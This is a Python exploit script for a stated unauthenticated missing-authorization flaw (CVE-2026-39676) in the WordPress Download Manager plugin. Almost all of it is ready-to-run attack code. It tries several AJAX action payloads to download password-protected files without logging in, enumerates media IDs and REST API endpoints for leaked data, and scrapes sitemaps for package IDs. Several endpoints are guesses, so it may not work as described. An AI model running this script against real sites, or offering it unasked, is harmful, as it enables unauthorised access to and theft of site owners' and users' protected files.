#!/usr/bin/env python3 """ CVE-2026-39676 - WordPress Download Manager <= 3.3.52 Missing Authorization (Unauthenticated IDOR) Exploit Description: The Download Manager plugin for WordPress (versions <= 3.3.52) contains a missing capability check vulnerability that allows unauthenticated attackers to bypass access controls and access protected resources such as password-protected files, restricted download packages, and sensitive information. This exploit targets the unauthenticated file download/password bypass by leveraging the missing authorization checks in the plugin's file serving and media access endpoints. Author: HackerAI / Pentest Tool Usage: python3 CVE-2026-39676.py -t http://target.com [options] """ import requests import argparse import sys import re import json import urllib.parse from bs4 import BeautifulSoup from urllib3.exceptions import InsecureRequestWarning # Suppress SSL warnings for pentesting requests.packages.urllib3.disable_warnings(InsecureRequestWarning) # Banner BANNER = """ ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ███╗ ███╗ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗████╗ ████║ ██║ ██║ ██║█████╗ █████╗ █████╔╝██║██╔██║██╔████╔██║ ██║ ╚██╗ ██╔╝██╔══╝ ╚════╝██╔═══╝ ████╔╝██║██║╚██╔╝██║ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝██║ ╚═╝ ██║ ╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝ CVE-2026-39676 - Download Manager <= 3.3.52 Missing Authorization - Unauthenticated IDOR Exploit """ class DownloadManagerExploit: """Exploit for CVE-2026-39676 - Download Manager Missing Authorization""" def __init__(self, target, proxy=None, verbose=False, timeout=30): self.target = target.rstrip('/') self.verbose = verbose self.timeout = timeout self.session = requests.Session() self.session.verify = False # AJAX endpoint self.ajax_url = f"{self.target}/wp-admin/admin-ajax.php" if proxy: self.session.proxies = { 'http': proxy, 'https': proxy } # WordPress nonce (will be extracted if needed) self.wp_nonce = None self.log(f"[*] Target: {self.target}") self.log(f"[*] AJAX URL: {self.ajax_url}") def log(self, msg, level="info"): """Print log messages""" if level == "info": print(f"{msg}") elif level == "success": print(f"\033[92m{msg}\033[0m") elif level == "error": print(f"\033[91m{msg}\033[0m") elif level == "verbose" and self.verbose: print(f"\033[90m{msg}\033[0m") def check_target(self): """Verify the target is reachable and has WordPress with Download Manager""" try: resp = self.session.get(self.target, timeout=self.timeout) self.log(f"[+] Target is reachable (HTTP {resp.status_code})", "success") return True except requests.exceptions.RequestException as e: self.log(f"[-] Target unreachable: {e}", "error") return False def verify_wp_ajax(self): """Verify WordPress AJAX handler is accessible""" try: resp = self.session.get(self.ajax_url, timeout=self.timeout) # WordPress returns 0 (or -1) for direct AJAX access without action if resp.status_code in [200, 400]: self.log(f"[+] WordPress AJAX handler found", "success") return True return False except requests.exceptions.RequestException: return False # ========================================================================= # EXPLOIT METHOD 1: Unauthenticated Download of Password-Protected Files # via the legacy protectMediaLibrary / file download bypass # ========================================================================= def exploit_protect_media_bypass(self, package_id=None, file_index=None): """ Exploits missing authorization in the protected media file download. Targets the file serving endpoint that lacks proper capability checks. The plugin's download handler fails to verify if the user has permission to access password-protected download packages, allowing unauthenticated access to the actual file content. """ self.log(f"\n[*] Attempting unauthenticated file download bypass...") # Method A: Direct download via wpdm_download action (legacy endpoint) payloads = [] # Method 1: Direct AJAX download action payloads.append({ 'action': 'wpdm_download_file', 'pid': package_id or '__wpdm_ajax_download', 'file': file_index or 0, }) # Method 2: The AJAX download handler for frontend payloads.append({ 'action': 'wpdm_frontend_download', 'id': package_id or '', 'file': file_index or 0, }) # Method 3: wpdm_ajax_call - generic handler that may dispatch # to internal functions without auth checks payloads.append({ 'action': 'wpdm_ajax_call', 'execute': 'getfile', 'id': package_id or '', }) # Method 4: Media library access control bypass (unauthenticated) payloads.append({ 'action': 'wpdm_media_access', 'mediaid': package_id or '', }) for i, payload in enumerate(payloads): try: self.log(f"[*] Trying payload {i+1}: action={payload.get('action')}", "verbose") resp = self.session.post( self.ajax_url, data=payload, timeout=self.timeout, allow_redirects=False ) self.log(f"[*] Response: HTTP {resp.status_code} | Size: {len(resp.content)} bytes", "verbose") # Check for file content (non-JSON, binary response = successful download) content_type = resp.headers.get('Content-Type', '') disposition = resp.headers.get('Content-Disposition', '') if 'application' in content_type or 'octet-stream' in content_type or 'attachment' in disposition: self.log(f"[!] FILE DOWNLOAD SUCCESSFUL via payload {i+1}!", "success") self.log(f"[!] Content-Type: {content_type}", "success") self.log(f"[!] Content-Disposition: {disposition}", "success") self.log(f"[!] File size: {len(resp.content)} bytes", "success") return resp.content # Check if response contains file data (not JSON error) if 'error' not in resp.text.lower() and len(resp.content) > 100: try: json_data = resp.json() self.log(f"[*] JSON response: {json.dumps(json_data)[:200]}", "verbose") # Check if it's a download redirect/URL if 'downloadurl' in json_data or 'download_url' in json_data: url = json_data.get('downloadurl') or json_data.get('download_url') self.log(f"[!] Got download URL: {url}", "success") file_resp = self.session.get(url, timeout=self.timeout) return file_resp.content except (json.JSONDecodeError, ValueError): # Non-JSON response might be file content if len(resp.content) > 500: self.log(f"[!] Possible file content received via payload {i+1}", "success") return resp.content except requests.exceptions.RequestException as e: self.log(f"[-] Request failed: {e}", "error") return None # ========================================================================= # EXPLOIT METHOD 2: Media Library Password/Info Disclosure # ========================================================================= def exploit_media_info_disclosure(self): """ Attempts to extract media protection passwords and settings from the unprotected AJAX endpoints. The wpdm_media_access and related endpoints may leak password hashes/access tokens. """ self.log(f"\n[*] Attempting media information disclosure...") # Try to enumerate media IDs (1-50 is typical range) for media_id in range(1, 51): payload = { 'action': 'wpdm_media_access', 'mediaid': str(media_id), } try: resp = self.session.post( self.ajax_url, data=payload, timeout=self.timeout ) if resp.status_code == 200 and len(resp.text) > 10: try: data = resp.json() if isinstance(data, dict) and 'success' in data: self.log(f"[!] Media ID {media_id}: Accessible!", "success") self.log(f"[!] Response: {json.dumps(data, indent=2)[:1000]}", "success") return data elif isinstance(data, dict) and len(data.keys()) > 0: self.log(f"[!] Media ID {media_id}: {json.dumps(data, indent=2)[:500]}", "success") return data except json.JSONDecodeError: if len(resp.text) > 200: self.log(f"[!] Media ID {media_id}: Raw data received", "success") self.log(f"[*] Response: {resp.text[:500]}", "verbose") return resp.text except requests.exceptions.RequestException: continue return None # ========================================================================= # EXPLOIT METHOD 3: Direct Package/File Access via Public API # ========================================================================= def exploit_direct_file_access(self): """ The Download Manager stores file references as custom post meta. If the protectMediaLibrary or similar function lacks auth checks, direct access to file attachments via known URLs may bypass protection. """ self.log(f"\n[*] Attempting direct file enumeration and access...") # Common download package URLs paths = [ f"/wp-content/uploads/download-manager-files/", f"/?wpdm_view=all", ] for path in paths: url = f"{self.target}{path}" try: resp = self.session.get(url, timeout=self.timeout) if resp.status_code == 200 and len(resp.content) > 500: self.log(f"[!] Directory/list accessible: {url}", "success") self.log(f"[*] Response size: {len(resp.content)} bytes", "verbose") # Try to extract file references from the response soup = BeautifulSoup(resp.text, 'html.parser') links = soup.find_all('a') for link in links: href = link.get('href', '') if any(ext in href.lower() for ext in ['.pdf', '.zip', '.doc', '.docx', '.xls', '.xlsx', '.txt', '.csv', '.jpg', '.png', '.mp3', '.mp4', '.sql', '.env', '.config', '.php']): self.log(f"[+] Found file reference: {href}", "success") except requests.exceptions.RequestException: continue return None # ========================================================================= # EXPLOIT METHOD 4: WordPress REST API Endpoint Abuse # ========================================================================= def exploit_rest_api(self): """ Checks if Download Manager registers REST API endpoints that lack authorization checks for unauthenticated users. """ self.log(f"\n[*] Checking REST API endpoints...") rest_endpoints = [ f"{self.target}/wp-json/wpdm/v1/packages", f"{self.target}/wp-json/wpdm/v1/files", f"{self.target}/wp-json/wpdm/v1/download", f"{self.target}/wp-json/wpdm/v2/packages", f"{self.target}/wp-json/wpdm/v2/files", f"{self.target}/wp-json/wpdm/v2/download", f"{self.target}/wp-json/download-manager/v1/file", f"{self.target}/wp-json/download-manager/v1/download", f"{self.target}/wp-json/download-manager/v1/packages", ] for endpoint in rest_endpoints: try: resp = self.session.get( endpoint, timeout=self.timeout, headers={'Accept': 'application/json'} ) if resp.status_code == 200: try: data = resp.json() if isinstance(data, list) and len(data) > 0: self.log(f"[!] REST API accessible: {endpoint}", "success") self.log(f"[!] Data: {json.dumps(data, indent=2)[:1000]}", "success") return data elif isinstance(data, dict) and 'success' in data and data['success']: self.log(f"[!] REST API accessible: {endpoint}", "success") self.log(f"[!] Data: {json.dumps(data, indent=2)[:1000]}", "success") return data except json.JSONDecodeError: pass self.log(f"[*] REST {endpoint} -> HTTP {resp.status_code}", "verbose") except requests.exceptions.RequestException: continue return None # ========================================================================= # EXPLOIT METHOD 5: Enumerate and Download via Shortcode/Public Pages # ========================================================================= def exploit_package_enumeration(self): """ Enumerates download package IDs from public pages and shortcodes, then attempts to download files without authorization. """ self.log(f"\n[*] Enumerating download packages from public content...") found_packages = set() # Check sitemap for package references sitemap_urls = [ f"{self.target}/sitemap.xml", f"{self.target}/sitemap_index.xml", f"{self.target}/wp-sitemap.xml", ] for sitemap_url in sitemap_urls: try: resp = self.session.get(sitemap_url, timeout=self.timeout) if resp.status_code == 200: # Extract URLs that might contain download packages urls = re.findall(r'(.*?)', resp.text) for url in urls: if 'download' in url.lower() or 'wpdm' in url.lower() or 'package' in url.lower(): found_packages.add(url) self.log(f"[+] Found download-related URL: {url}", "success") # Also check for download IDs ids = re.findall(r'/download/(\d+)', resp.text) for pid in ids: found_packages.add(f"{self.target}/?wpdm_download={pid}") self.log(f"[+] Found package ID: {pid}", "success") except requests.exceptions.RequestException: continue return list(found_packages) # ========================================================================= # FULL SCAN - Run all exploit methods # ========================================================================= def run_full_scan(self, package_id=None): """Run all exploit methods against the target""" self.log(f"\n{'='*60}") self.log(f" CVE-2026-39676 - Full Exploitation Scan") self.log(f"{'='*60}\n") results = {} # Method 1: Protect Media Bypass self.log(f"\n{'─'*50}") self.log(f" METHOD 1: Unauthenticated File Download Bypass") self.log(f"{'─'*50}") file_data = self.exploit_protect_media_bypass(package_id) if file_data: results['file_download'] = f"Downloaded {len(file_data)} bytes" # Method 2: Media Info Disclosure self.log(f"\n{'─'*50}") self.log(f" METHOD 2: Media Information Disclosure") self.log(f"{'─'*50}") media_info = self.exploit_media_info_disclosure() if media_info: results['media_disclosure'] = "Media info accessible" # Method 3: Direct File Access self.log(f"\n{'─'*50}") self.log(f" METHOD 3: Direct File/Path Enumeration") self.log(f"{'─'*50}") self.exploit_direct_file_access() # Method 4: REST API self.log(f"\n{'─'*50}") self.log(f" METHOD 4: REST API Endpoint Abuse") self.log(f"{'─'*50}") api_data = self.exploit_rest_api() if api_data: results['rest_api'] = "REST API accessible" # Method 5: Package Enumeration self.log(f"\n{'─'*50}") self.log(f" METHOD 5: Package Enumeration") self.log(f"{'─'*50}") packages = self.exploit_package_enumeration() if packages: results['packages_enum'] = f"Found {len(packages)} packages" # Summary self.log(f"\n{'='*60}") self.log(f" SCAN RESULTS SUMMARY") self.log(f"{'='*60}") if results: for k, v in results.items(): self.log(f" [+] {k}: {v}", "success") self.log(f"\n [!] TARGET IS VULNERABLE TO CVE-2026-39676", "success") else: self.log(f" [-] No exploitable endpoints found via these methods.", "error") self.log(f" [*] Try specifying a package ID with --pid or check the site manually.", "info") return results # ========================================================================= # INTERACTIVE DOWNLOAD - Download a specific file # ========================================================================= def download_file(self, package_id, output_file=None): """Attempt to download a specific file by package ID""" self.log(f"[*] Attempting to download package/file ID: {package_id}") file_data = self.exploit_protect_media_bypass(package_id) if file_data: if output_file: with open(output_file, 'wb') as f: f.write(file_data) self.log(f"[+] File saved to: {output_file}", "success") return file_data else: self.log(f"[-] Failed to download file for ID: {package_id}", "error") return None def main(): parser = argparse.ArgumentParser( description='CVE-2026-39676 - WordPress Download Manager <= 3.3.52 Missing Authorization Exploit', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: python3 CVE-2026-39676.py -t http://target.com python3 CVE-2026-39676.py -t http://target.com -v python3 CVE-2026-39676.py -t http://target.com --pid 123 -o file.zip python3 CVE-2026-39676.py -t http://target.com --proxy http://127.0.0.1:8080 """ ) parser.add_argument('-t', '--target', required=True, help='Target WordPress URL') parser.add_argument('--pid', type=int, help='Specific package/file ID to target') parser.add_argument('-o', '--output', help='Output file for downloaded data') parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output') parser.add_argument('--proxy', help='Proxy (e.g., http://127.0.0.1:8080)') parser.add_argument('--timeout', type=int, default=30, help='Request timeout in seconds') args = parser.parse_args() print(BANNER) exploit = DownloadManagerExploit( target=args.target, proxy=args.proxy, verbose=args.verbose, timeout=args.timeout ) # Step 1: Check target if not exploit.check_target(): sys.exit(1) # Step 2: Verify AJAX if not exploit.verify_wp_ajax(): print("[-] WordPress AJAX endpoint not found. Target may not be WordPress.") sys.exit(1) # Step 3: Run exploit if args.pid: # Download specific file exploit.download_file(args.pid, args.output) else: # Full scan exploit.run_full_scan() print("\n[*] Exploit completed.\n") if __name__ == '__main__': main()